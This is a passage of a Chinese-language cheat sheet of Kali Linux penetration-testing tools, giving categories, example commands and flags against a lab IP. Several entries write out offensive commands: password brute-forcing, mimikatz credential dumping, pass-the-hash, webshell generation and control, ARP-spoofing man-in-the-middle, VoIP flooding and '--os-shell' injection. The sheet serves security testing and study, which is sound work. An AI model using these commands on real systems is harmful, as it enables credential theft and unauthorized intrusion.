medusa -H hosts.txt -U users.txt -P pass.txt -M ftp

常用参数

-h host                  # 单个主机
-H hosts.txt             # 主机列表
-p pass / -P pass.txt    # 密码
-u user / -U users.txt   # 用户
-M ssh|ftp|http          # 服务模块
-t 10                    # 线程数

mimikatz凭据提取

所属分类：密码攻击 / 后渗透 / Windows资源

常用命令

mimikatz
sekurlsa::logonpasswords

常用参数

kerberos::list            # Kerberos票据
lsadump::sam              # 导出SAM
privilege::debug          # 提权调试权限
sekurlsa::logonpasswords  # 导出明文/哈希

ncrack网络服务爆破

所属分类：密码攻击 / Web

常用命令

ncrack ssh://192.168.56.106 -u admin -P /usr/share/wordlists/rockyou.txt
ncrack ftp://192.168.56.106 -U users.txt -P pass.txt

常用参数

-p pass / -P pass.txt     # 密码
-u user / -U users.txt    # 用户
ssh://host                # 服务目标
-T4                       # 速度模板

ophcrack密码工具常用命令

所属分类：密码攻击

常用命令

ophcrack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ophcrack-cli密码工具常用命令

所属分类：密码攻击

常用命令

ophcrack-cli --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pack密码工具常用命令

所属分类：密码攻击

常用命令

pack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pack2密码工具常用命令

所属分类：密码攻击

常用命令

pack2 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

passing-the-hash哈希传递

所属分类：密码攻击

常用命令

pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:NTLM //192.168.56.106 cmd
pth-smbclient -U user%LMHASH:NTHASH //192.168.56.106/share

常用参数

-U user%LMHASH:NTHASH     # 指定LM/NTLM哈希

patator多协议爆破

所属分类：密码攻击 / Web

常用命令

patator ssh_login host=192.168.56.106 user=admin password=FILE0 0=/usr/share/wordlists/rockyou.txt
patator http_fuzz url=http://192.168.56.106/login method=POST body='u=admin&p=FILE0' 0=rockyou.txt -x ignore:fgrep='invalid'

常用参数

-x ignore:fgrep='str'      # 忽略匹配文本
FILE0                      # 第一个payload文件占位符
ssh_login/http_fuzz/ftp_login   # 模块

pdfcrackPDF密码破解

所属分类：密码攻击

常用命令

pdfcrack -f secret.pdf -w /usr/share/wordlists/rockyou.txt
pdfcrack -f secret.pdf -o ownerpass

常用参数

-w dict.txt               # 字典
-f secret.pdf             # 目标PDF
-o ownerpass              # 指定owner密码

pipal密码工具常用命令

所属分类：密码攻击 / 报告

常用命令

pipal --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rainbowcrack彩虹表破解

所属分类：密码攻击

常用命令

rcrack . -h hashes.txt
rtgen md5 loweralpha 1 7 0 2400 1000000 0

常用参数

rcrack . -h file          # 用已有彩虹表破解
rtgen ...                 # 生成彩虹表
rtsort tables             # 排序彩虹表

rarcrack压缩包密码破解

所属分类：密码攻击

常用命令

rarcrack secret.rar
rarcrack secret.zip --threads 4

常用参数

--threads 4               # 线程数
支持 rar/zip/7z           # 压缩包类型

rcracki-mt密码工具常用命令

所属分类：密码攻击

常用命令

rcracki-mt --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

rsmangler密码工具常用命令

所属分类：密码攻击

常用命令

rsmangler --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

SecLists安全字典集合

所属分类：密码攻击

常用命令

ls /usr/share/seclists
find /usr/share/seclists -iname '*subdomain*'

常用参数

/usr/share/seclists        # 字典根目录
Discovery                  # 发现类字典
Passwords                  # 密码类字典
Fuzzing                    # 模糊测试payload
Web-Shells                 # WebShell资源

sipcrack密码工具常用命令

所属分类：密码攻击 / VoIP

常用命令

sipcrack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

sipvicious SIP枚举与爆破

所属分类：密码攻击 / VoIP / 漏洞分析

常用命令

svmap 192.168.56.106
svwar -m INVITE -e100-200 192.168.56.106

常用参数

svcrack                  # 口令爆破
svmap                    # 发现SIP服务
svwar                    # 分机枚举

statsprocessor密码工具常用命令

所属分类：密码攻击

常用命令

statsprocessor --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

sucrack密码工具常用命令

所属分类：密码攻击

常用命令

sucrack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

thc-pptp-bruter密码工具常用命令

所属分类：密码攻击

常用命令

thc-pptp-bruter --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

wordlists常用字典包

所属分类：密码攻击

常用命令

ls /usr/share/wordlists
gzip -d /usr/share/wordlists/rockyou.txt.gz

常用参数

/usr/share/wordlists       # 常用字典目录
rockyou.txt                # 常用口令字典

cymothoa后渗透工具常用命令

所属分类：后渗透

常用命令

cymothoa --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dbd后渗透工具常用命令

所属分类：后渗透 / Windows资源

常用命令

dbd --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dns2tcp后渗透工具常用命令

所属分类：后渗透

常用命令

dns2tcp --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

exe2hexbat后渗透工具常用命令

所属分类：后渗透

常用命令

exe2hexbat --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

iodine后渗透工具常用命令

所属分类：后渗透

常用命令

iodine --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

Laudanum WebShell资源包

所属分类：后渗透 / Web

常用命令

find /usr/share/laudanum -type f | head
ls /usr/share/laudanum

常用参数

/usr/share/laudanum       # WebShell资源目录

miredo后渗透工具常用命令

所属分类：后渗透

常用命令

miredo --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

nishang后渗透工具常用命令

所属分类：后渗透 / Web

常用命令

nishang --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

powersploit后渗透工具常用命令

所属分类：后渗透

常用命令

powersploit --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

proxychains4后渗透工具常用命令

所属分类：后渗透 / Web

常用命令

proxychains4 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

proxytunnel后渗透工具常用命令

所属分类：后渗透 / Web

常用命令

proxytunnel --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

ptunnel后渗透工具常用命令

所属分类：后渗透

常用命令

ptunnel --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

pwnat后渗透工具常用命令

所属分类：后渗透

常用命令

pwnat --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

sbd后渗透工具常用命令

所属分类：后渗透 / Windows资源

常用命令

sbd --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

shellter后渗透工具常用命令

所属分类：后渗透 / Windows资源

常用命令

shellter --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

stunnel4后渗透工具常用命令

所属分类：后渗透 / Web

常用命令

stunnel4 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

udptunnel后渗透工具常用命令

所属分类：后渗透

常用命令

udptunnel --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

Veil免杀载荷生成

所属分类：后渗透 / 社工

常用命令

veil

常用参数

图形/交互式工具                # 常用于载荷混淆与生成

webacoo WebShell管理

所属分类：后渗透 / Web

常用命令

webacoo -g -o shell.php
webacoo -t -u http://192.168.56.106/shell.php -e 'id'

常用参数

-u URL                   # shell地址
-e 'id'                  # 执行命令
-g                       # 生成webshell
-t                       # 连接webshell

weevely PHP WebShell管理

所属分类：后渗透 / Web

常用命令

weevely generate pass shell.php
weevely http://192.168.56.106/shell.php pass

常用参数

URL password             # 连接shell
generate pass shell.php  # 生成shell

cutycapt网页截图

所属分类：报告 / Web

常用命令

cutycapt --url=http://192.168.56.106 --out=shot.png
cutycapt --url=http://192.168.56.106 --out=shot.pdf

常用参数

--url=URL                # 目标URL
--out=file.png           # 输出文件

Dradis协作报告平台

所属分类：报告

常用命令

dradis
dradis-ce

常用参数

Web平台                       # 用于团队协作与报告整理

EyeWitness网页截图与指纹

所属分类：报告 / Web

常用命令

EyeWitness --web -f urls.txt --threads 10
EyeWitness --single http://192.168.56.106 --web

常用参数

--single URL             # 单个目标
-f urls.txt              # URL列表
--threads 10             # 线程数
--web                    # Web模式

Faraday协作渗透平台

所属分类：报告

常用命令

faraday-client
faraday-server

常用参数

client/server            # 客户端与服务端
Web界面                   # 汇总多工具结果

recordmydesktop图形化工具

所属分类：报告

常用命令

recordmydesktop

常用参数

--help                   # 查看帮助
图形/交互式工具                  # 以启动后菜单/界面为主

Ghidra逆向分析

所属分类：应急响应 / CTF常用补充

常用命令

ghidra
analyzeHeadless /tmp/proj demo -import sample.bin

常用参数

ghidra                   # 启动图形界面
analyzeHeadless          # 无头分析入口
-import sample.bin       # 导入文件
-overwrite               # 覆盖已有项目
-scriptPath dir          # 指定脚本目录
-postScript script.py    # 分析后执行脚本
-process all             # 批量处理项目文件

hashrat应急工具常用命令

所属分类：应急响应

常用命令

hashrat --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

netsniff-ng高性能抓包

所属分类：应急响应 / 嗅探欺骗

常用命令

netsniff-ng -i eth0
netsniff-ng -i eth0 -o out.pcap

常用参数

-i eth0                  # 网卡
-o out.pcap              # 输出文件

clang逆向工具常用命令

所属分类：逆向

常用命令

clang --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dex2jar DEX转JAR

所属分类：逆向

常用命令

d2j-dex2jar.sh classes.dex
d2j-apk-sign.sh app.apk

常用参数

常与JD-GUI/JADX联动           # 安卓逆向

JD-GUI图形化Java反编译

所属分类：逆向

常用命令

jd-gui
java -jar /usr/share/jd-gui/jd-gui.jar

常用参数

图形界面工具                  # 查看JAR/CLASS

rizin逆向分析

所属分类：逆向

常用命令

rizin -A ./a.out
rz-bin -I ./a.out

常用参数

-A                       # 自动分析
aaa                      # 深度分析
afl                      # 函数列表
pdf @ main               # 反汇编函数
px 64 @ rsp              # 查看内存
izz                      # 查看字符串
iI                       # 文件信息
V                        # 可视化模式
db main                  # 下断点
dc                       # 继续运行

GNU Radio SDR流程开发

所属分类：RFID / SDR

常用命令

gnuradio-companion
python3 flowgraph.py

常用参数

gnuradio-companion       # 图形化流程图

Proxmark3 RFID工具

所属分类：RFID

常用命令

proxmark3 /dev/ttyACM0
hf search

常用参数

dump                     # 读卡/导出
hf search                # 高频卡搜索
lf search                # 低频卡搜索

rfdump MIFARE操作

所属分类：RFID

常用命令

rfdump -h
rfdump -i

常用参数

以读卡器环境为主                 # 具体参数依设备而定

chirpSDR工具常用命令

所属分类：SDR

常用命令

chirp --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gqrx-sdr频谱接收

所属分类：SDR

常用命令

gqrx-sdr

常用参数

图形界面工具                  # SDR频谱观察

gr-air-modesSDR工具常用命令

所属分类：SDR

常用命令

gr-air-modes --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gr-iqbalSDR工具常用命令

所属分类：SDR

常用命令

gr-iqbal --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gr-osmosdrSDR工具常用命令

所属分类：SDR

常用命令

gr-osmosdr --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

HackRF SDR设备工具

所属分类：SDR

常用命令

hackrf_info
hackrf_transfer -r capture.iq -f 433920000 -s 2000000

常用参数

-r capture.iq            # 录制IQ
-f freq                  # 频率
-s rate                  # 采样率
hackrf_info              # 查看设备

inspectrumSDR工具常用命令

所属分类：SDR

常用命令

inspectrum --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

kalibrate-rtlSDR工具常用命令

所属分类：SDR

常用命令

kalibrate-rtl --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

multimon-ng无线解码

所属分类：SDR

常用命令

multimon-ng -a POCSAG1200 capture.wav
rtl_fm ... | multimon-ng -t raw -a POCSAG1200 -

常用参数

-a protocol              # 指定协议
-t raw|wav               # 输入类型

uhd-hostSDR工具常用命令

所属分类：SDR

常用命令

uhd-host --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

uhd-images资源包与常用路径

所属分类：SDR

常用命令

ls /usr/share/uhd/images
find /usr/share/uhd/images -type f | head

常用参数

/usr/share/uhd/images                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

above嗅探/欺骗工具常用命令

所属分类：嗅探欺骗

常用命令

above

常用参数

用于网络异常/攻击行为测试             # 按帮助选择模块
--help                   # 查看帮助

darkstat流量统计

所属分类：嗅探欺骗

常用命令

darkstat -i eth0

常用参数

-i eth0                  # 网卡

dnschef伪造DNS响应

所属分类：嗅探欺骗 / Windows资源

常用命令

dnschef --fakeip 192.168.56.1
dnschef --fakedomains test.local --fakeip 192.168.56.1

常用参数

--fakedomains domain     # 伪造域名
--fakeip IP              # 假解析IP

driftnet图片抓取

所属分类：嗅探欺骗

常用命令

driftnet -i eth0
driftnet -i eth0 -d out

常用参数

-i eth0                  # 网卡
-d out                   # 输出目录

dsniff口令抓取

所属分类：嗅探欺骗

常用命令

dsniff -i eth0
dsniff -i eth0 -p

常用参数

-i eth0                  # 网卡
-p                       # 不启用混杂模式

ettercap中间人与协议嗅探

所属分类：嗅探欺骗

常用命令

ettercap -T -M arp:remote /192.168.56.106/ /192.168.56.1/
ettercap -G

常用参数

-i eth0                  # 指定网卡
-M arp:remote            # ARP欺骗
-T                       # 文本模式
-G                       # 图形界面

ferret-sidejack嗅探/欺骗工具常用命令

所属分类：嗅探欺骗 / Web

常用命令

ferret-sidejack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

fiked嗅探/欺骗工具常用命令

所属分类：嗅探欺骗

常用命令

fiked

常用参数

常用于无线相关测试                   # 具体参数依场景而定
--help                   # 查看帮助

hamster-sidejack嗅探/欺骗工具常用命令

所属分类：嗅探欺骗 / Web

常用命令

hamster-sidejack --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

hexinject嗅探/欺骗工具常用命令

所属分类：嗅探欺骗

常用命令

hexinject --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

isr-evilgrade嗅探/欺骗工具常用命令

所属分类：嗅探欺骗

常用命令

isr-evilgrade --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

mitmproxyHTTP/HTTPS中间人代理

所属分类：嗅探欺骗 / Web

常用命令

mitmproxy -p 8080
mitmweb --listen-port 8080

常用参数

-p 8080                  # 监听端口
--mode transparent       # 透明代理模式
--set block_global=false # 允许外部连接

rebindDNS Rebinding测试

所属分类：嗅探欺骗

常用命令

rebind

常用参数

DNS Rebinding测试工具           # 按帮助使用

sniffjoke反嗅探干扰

所属分类：嗅探欺骗

常用命令

sniffjoke -i eth0

常用参数

-i eth0                  # 网卡

sslsniff SSL嗅探

所属分类：嗅探欺骗 / Web

常用命令

sslsniff -i eth0

常用参数

-i eth0                  # 网卡

sslsplit SSL中间人拆分

所属分类：嗅探欺骗 / Web

常用命令

sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit https 0.0.0.0 8443

常用参数

-D                       # 前台调试
-j dir / -S dir          # 证书/会话目录
-l log                   # 连接日志

enumiax IAX枚举

所属分类：VoIP / 漏洞分析

常用命令

enumiax 192.168.56.106
enumiax -m 0 192.168.56.106

常用参数

-m 0                     # 模式

iaxflood IAX洪泛

所属分类：VoIP / 漏洞分析

常用命令

iaxflood 192.168.56.106

常用参数

直接接主机                    # VoIP测试

inviteflood SIP INVITE洪泛

所属分类：VoIP / 漏洞分析

常用命令

inviteflood 192.168.56.106 5060

常用参数

host port                # 目标与端口

libfindrtp资源包与常用路径

所属分类：VoIP

常用命令

ls /usr/bin
find /usr/bin -type f | head

常用参数

/usr/bin                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

ohrwurm RTP媒体攻击

所属分类：VoIP / 漏洞分析

常用命令

ohrwurm -h
ohrwurm

常用参数

交互式工具                     # VoIP媒体流攻击

protos-sip SIP健壮性测试

所属分类：VoIP / 漏洞分析

常用命令

protos-sip 192.168.56.106

常用参数

直接接目标                     # SIP协议测试

rtpbreak RTP中断

所属分类：VoIP / 漏洞分析

常用命令

rtpbreak 192.168.56.106

常用参数

直接接目标                     # VoIP测试

rtpflood RTP洪泛

所属分类：VoIP / 漏洞分析

常用命令

rtpflood 192.168.56.106

常用参数

直接接目标                     # VoIP测试

rtpinsertsound RTP插音

所属分类：VoIP / 漏洞分析

常用命令

rtpinsertsound 192.168.56.106 sound.wav

常用参数

host sound.wav           # 目标与音频

rtpmixsound RTP混音

所属分类：VoIP / 漏洞分析

常用命令

rtpmixsound 192.168.56.106 sound.wav

常用参数

host sound.wav           # 目标与音频

sctpscanVoIP工具常用命令

所属分类：VoIP / 漏洞分析

常用命令

sctpscan --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

siparmyknifeVoIP工具常用命令

所属分类：VoIP / 漏洞分析

常用命令

siparmyknife --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

SIPp SIP压测与脚本模拟

所属分类：VoIP / 漏洞分析

常用命令

sipp 192.168.56.106
sipp -sf scenario.xml 192.168.56.106

常用参数

-r 10                    # 呼叫速率
-sf scenario.xml         # 自定义场景

voiphopper语音VLAN跳转

所属分类：VoIP / 漏洞分析

常用命令

voiphopper -i eth0

常用参数

-i eth0                  # 网卡

bed漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

bed --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cisco-global-exploiter漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

cisco-global-exploiter --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cisco-ocs漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

cisco-ocs --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cisco-torch漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

cisco-torch --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

copy-router-config漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

copy-router-config --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

dhcpig漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

dhcpig --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

gvmOpenVAS漏洞扫描

所属分类：漏洞分析

常用命令

gvm-start
greenbone-feed-sync

常用参数

greenbone-feed-sync       # 更新漏洞库
gvm-start                 # 启动服务
gvm-stop                  # 停止服务
Web界面                   # 常用于完整漏洞扫描

PEASS提权信息收集

所属分类：漏洞分析

常用命令

linpeas.sh
winPEASx64.exe

常用参数

linpeas.sh                # Linux提权枚举
winPEASx64.exe            # Windows提权枚举

siege漏洞分析工具常用命令

所属分类：漏洞分析 / Web

常用命令

siege --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

sipsak SIP测试

所属分类：漏洞分析

常用命令

sipsak -s sip:100@192.168.56.106
sipsak -U -s sip:100@192.168.56.106

常用参数

-U                       # 用户代理模式
-s sip:user@host         # SIP URI

slowhttptest漏洞分析工具常用命令

所属分类：漏洞分析 / Web

常用命令

slowhttptest --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

t50漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

t50 --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

thc-ssl-dos漏洞分析工具常用命令

所属分类：漏洞分析 / Web

常用命令

thc-ssl-dos --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

unix-privesc-checkUnix提权检查

所属分类：漏洞分析

常用命令

unix-privesc-check standard
unix-privesc-check detailed

常用参数

standard                  # 标准检查
detailed                  # 详细检查

yersinia漏洞分析工具常用命令

所属分类：漏洞分析

常用命令

yersinia --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

apache-usersWeb工具常用命令

所属分类：Web

常用命令

apache-users --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

cadaver WebDAV访问

所属分类：Web

常用命令

cadaver http://192.168.56.106/webdav/
cadaver https://192.168.56.106/webdav/

常用参数

ls / put / get / delete  # 交互命令

Commix命令注入测试

所属分类：Web

常用命令

commix -u 'http://192.168.56.106/?cmd=1'
commix -r request.txt --batch

常用参数

--batch                  # 自动确认
-r request.txt           # 请求文件
-u URL                   # 目标
--os-shell               # 尝试shell

davtest WebDAV测试

所属分类：Web

常用命令

davtest -url http://192.168.56.106/webdav/
davtest -url http://192.168.56.106/webdav/ -auth user:pass

常用参数

-url URL                 # 目标
-auth user:pass          # 认证

dotdotpwnWeb工具常用命令

所属分类：Web

常用命令

dotdotpwn --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

hakrawler页面链接爬取

所属分类：Web

常用命令

echo 'http://192.168.56.106' | hakrawler
cat urls.txt | hakrawler -depth 2

常用参数

-depth 2                 # 爬取深度
-plain                    # 纯文本输出

heartleech Heartbleed测试

所属分类：Web / Windows资源

常用命令

heartleech 192.168.56.106 -p 443

常用参数

-p 443                   # 端口

httprint HTTP指纹识别

所属分类：Web

常用命令

httprint -h 192.168.56.106 -s signatures.txt
httprint -P0 -h 192.168.56.106

常用参数

-h host                  # 目标
-P0                      # 关闭探测
-s signatures.txt        # 签名库

HTTrack站点镜像

所属分类：Web

常用命令

httrack http://192.168.56.106 -O mirror
httrack 'http://192.168.56.106/*' -O mirror

常用参数

-O dir                   # 输出目录

jboss-autopwn JBoss利用

所属分类：Web

常用命令

jboss-autopwn.py -i 192.168.56.106
jboss-autopwn.py -f hosts.txt

常用参数

-i host                  # 单主机
-f hosts.txt             # 主机列表

joomscanJoomla扫描

所属分类：Web

常用命令

joomscan -u http://192.168.56.106
joomscan -u http://192.168.56.106 --enumerate-components

常用参数

-u URL                   # 目标URL
--ec                     # 枚举组件简写
--enumerate-components   # 枚举组件

owasp-mantra-ffWeb工具常用命令

所属分类：Web

常用命令

owasp-mantra-ff
firefox

常用参数

已较老的浏览器审计环境              # 主要作为审计环境使用

padbuster Padding Oracle测试

所属分类：Web

常用命令

padBuster http://192.168.56.106/index.php ENCVAL 8
padBuster URL ENCVAL 8 -cookies 'auth=ENCVAL'

常用参数

-cookies 'a=b'           # 指定Cookie
URL ENCVAL BLOCKSIZE     # 基本参数

Paros旧版Web代理

所属分类：Web

常用命令

paros

常用参数

图形界面工具                  # 老牌Web代理/扫描工具

redsocksWeb工具常用命令

所属分类：Web

常用命令

redsocks --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

skipfish Web扫描

所属分类：Web

常用命令

skipfish -o out http://192.168.56.106
skipfish -o out -I login.php http://192.168.56.106

常用参数

-I path                  # 包含路径
-X path                  # 排除路径
-o out                   # 输出目录

uniscanWeb工具常用命令

所属分类：Web

常用命令

uniscan --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

watobo Web代理审计

所属分类：Web

常用命令

watobo

常用参数

图形界面工具                  # Web应用安全测试代理

WebScarab旧版Web代理

所属分类：Web

常用命令

webscarab

常用参数

图形界面工具                  # 手工Web测试

webshells样本资源包

所属分类：Web

常用命令

find /usr/share/webshells -type f | head
ls /usr/share/webshells

常用参数

/usr/share/webshells      # WebShell样本目录

xsserXSS测试

所属分类：Web

常用命令

xsser --url 'http://192.168.56.106/search.php?q=XSS'
xsser --url 'http://192.168.56.106/search.php?q=XSS' --auto

常用参数

--url URL                # 目标URL
--auto                   # 自动模式
--cookie 'a=b'           # 指定Cookie
--user-agent 'UA'        # 自定义UA

hyperionWindows资源常用命令

所属分类：Windows资源

常用命令

hyperion --help

常用参数

--help                   # 查看帮助
man tool                  # 查看手册

powercat资源包与常用路径

所属分类：Windows资源

常用命令

ls /usr/share/windows-resources
find /usr/share/windows-resources -type f | head

常用参数

/usr/share/windows-resources                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

windows-binaries资源包与常用路径

所属分类：Windows资源

常用命令

ls /usr/share/windows-resources/binaries
find /usr/share/windows-resources/binaries -type f | head

常用参数

/usr/share/windows-resources/binaries                  # 常用资源路径
适合与其他工具联动使用               # 该包本身可能没有统一主命令

windows-privesc-checkWindows资源常用命令

所属分类：Windows资源

常用命令

windows-privesc-check2.exe > report.txt

常用参数

Windows环境运行                    # 权限提升检查脚本/程序

AdaptixC2后渗透与对抗模拟

所属分类：新增2026.1

常用命令

adaptixc2

常用参数

框架型工具                     # 适合后渗透与红队编排
--help                   # 查看帮助

Atomic-Operator原子测试执行

所属分类：新增2026.1

常用命令

atomic-operator run --atomics-path ./atomics T1003

常用参数

--atomics-path PATH      # Atomic Red Team路径
run                      # 执行测试

Fluxion无线社工审计

所属分类：新增2026.1

常用命令

fluxion

常用参数

交互式工具                     # 常见于无线社工演示/审计

GEFGDB增强插件

所属分类：新增2026.1 / CTF常用补充

常用命令

gdb -q ./a.out
gef config

常用参数

checksec                 # 检查保护
context                  # 显示上下文
pattern create 200       # 生成模式串
pattern search 0x6161616c  # 查找偏移

MetasploitMCP与Metasploit联动

所属分类：新增2026.1

常用命令

metasploitmcp

常用参数

--help                   # 查看帮助

SSTImap模板注入检测

所属分类：新增2026.1

常用命令

sstimap.py -u 'http://192.168.56.106/?name=test'
sstimap.py -r request.txt

常用参数

-r request.txt           # 原始请求
-u URL                   # 目标URL
--os-shell               # 尝试命令执行

WPProbeWordPress插件枚举

所属分类：新增2026.1

常用命令

wpprobe -u http://192.168.56.106
wpprobe -u http://192.168.56.106 -w plugins.txt

常用参数

-u URL                   # 目标
-w wordlist.txt          # 插件字典

XSStrike高级XSS扫描

所属分类：新增2026.1

常用命令

xsstrike -u 'http://192.168.56.106/search.php?q=test'
xsstrike -u 'http://192.168.56.106/search.php?q=test' --crawl

常用参数

-u URL                   # 目标URL
--data 'a=b&c=d'         # POST数据
--file request.txt       # 读取请求文件
--crawl                  # 爬虫模式
--headers                # 自定义头

digDNS查询与区域传送测试

所属分类：CTF常用补充

常用命令

dig example.com any
dig @192.168.56.106 example.com axfr

常用参数

@server                  # 指定DNS服务器
axfr                     # 区域传送
+short                   # 简短输出

WHOIS域名归属查询

所属分类：CTF常用补充

常用命令

whois example.com
whois 8.8.8.8

常用参数

直接接域名或IP                  # 查询归属

tmux终端复用

所属分类：CTF常用补充

常用命令

tmux new -s pentest
tmux attach -t pentest

常用参数

Ctrl+b "                # 上下分屏
Ctrl+b %                 # 左右分屏
Ctrl+b c                 # 新建窗口
Ctrl+b d                 # 分离会话

python3本地HTTP与快速脚本

所属分类：CTF常用补充

常用命令

python3 -m http.server 8000
python3 -c 'import pty; pty.spawn("/bin/bash")'

常用参数

-c 'code'                # 执行一段Python代码
-m http.server 8000      # 快速起HTTP服务

gcc编译与静态编译

所属分类：CTF常用补充

常用命令

gcc -o exp exp.c
gcc -static -o exp exp.c

常用参数

-m32                     # 32位编译
-g                       # 带调试符号
-static                  # 静态链接
-o exp                   # 输出文件

strace系统调用跟踪

所属分类：CTF常用补充

常用命令

strace ./a.out
strace -f -o trace.txt ./a.out

常用参数

-f                       # 跟踪子进程
-p 1234                  # 附加进程
-o trace.txt             # 输出文件
-s 128                   # 字符串长度
-xx                      # 十六进制显示数据
-e trace=network         # 仅跟踪网络调用
-e trace=file            # 仅跟踪文件操作
-c                       # 统计模式
-tt                      # 显示时间戳

ltrace库调用跟踪

所属分类：CTF常用补充

常用命令

ltrace ./a.out
ltrace -f -o ltrace.txt ./a.out

常用参数

-f                       # 跟踪子进程
-o ltrace.txt            # 输出文件
-s 128                   # 字符串长度
-e malloc+free           # 仅跟踪指定库调用
-p 1234                  # 附加进程
-c                       # 统计模式

objdump反汇编

所属分类：CTF常用补充

常用命令

objdump -d ./a.out | less
objdump -Mintel -d ./a.out | grep '<main>' -A 30
objdump -s -j .rodata ./a.out | less

常用参数

-d                       # 反汇编代码段
-D                       # 反汇编所有段
-M intel                 # Intel语法
-t                       # 符号表
-T                       # 动态符号表
-R                       # 重定位信息
-x                       # 头信息
-s -j .rodata            # 查看指定段内容

strings字符串提取

所属分类：CTF常用补充

常用命令

strings ./a.out
strings -n 8 ./a.out

常用参数

-n 8                     # 最小字符串长度
-a                       # 扫描整个文件
-t x                     # 以十六进制显示偏移
-e l|b|s                 # 指定编码
-f                       # 输出文件名

file文件类型识别

所属分类：CTF常用补充

常用命令

file ./a.out
file secret.bin

常用参数

-k                       # 显示更多识别结果

checksec保护机制检查

所属分类：CTF常用补充

常用命令

checksec --file=./a.out
checksec --proc=1234

常用参数

--file=FILE              # 检查文件
--proc=PID               # 检查进程
--dir=.                  # 批量检查目录
--fortify-file=FILE      # 检查FORTIFY
--format=json            # JSON输出

ROPgadgetROP链查找

所属分类：CTF常用补充

常用命令

ROPgadget --binary ./a.out
ROPgadget --binary ./a.out --only 'pop|ret'

常用参数

--binary ./a.out         # 目标二进制
--only 'pop|ret'         # 仅查找指定类型gadget
--badbytes '00|0a'       # 过滤坏字节
--depth 10               # 搜索深度
--string '/bin/sh'       # 查找字符串
--opcode c3              # 按机器码查找
--ropchain               # 生成ROP链

one_gadget查找libc利用点

所属分类：CTF常用补充

常用命令

one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget libc.so.6 --raw

常用参数

--raw                    # 只输出偏移
-l 2                     # 展示更多约束信息
-a amd64                 # 指定架构
-o file.txt              # 输出到文件

pwntoolsPwn脚本开发

所属分类：CTF常用补充

常用命令

python3 exploit.py
python3 -c 'from pwn import *; print(cyclic(200))'

常用参数

process('./a.out')       # 本地起进程
remote(host,port)        # 远程连接
context(os='linux',arch='amd64')  # 上下文
cyclic()/cyclic_find()   # 偏移查找
p64()/u64()              # 地址打包/解包
ELF('./a.out')           # 解析二进制
ROP(elf)                 # 构造ROP
gdb.attach(p)            # 挂GDB
recvuntil()/sendline()   # 常用收发
interactive()            # 进入交互

pwndbgGDB增强插件

所属分类：CTF常用补充

常用命令

gdb -q ./a.out

常用参数

context                  # 显示上下文
telescope $rsp           # 查看栈
vmmap                    # 查看内存映射

rabin2二进制信息查看

所属分类：CTF常用补充

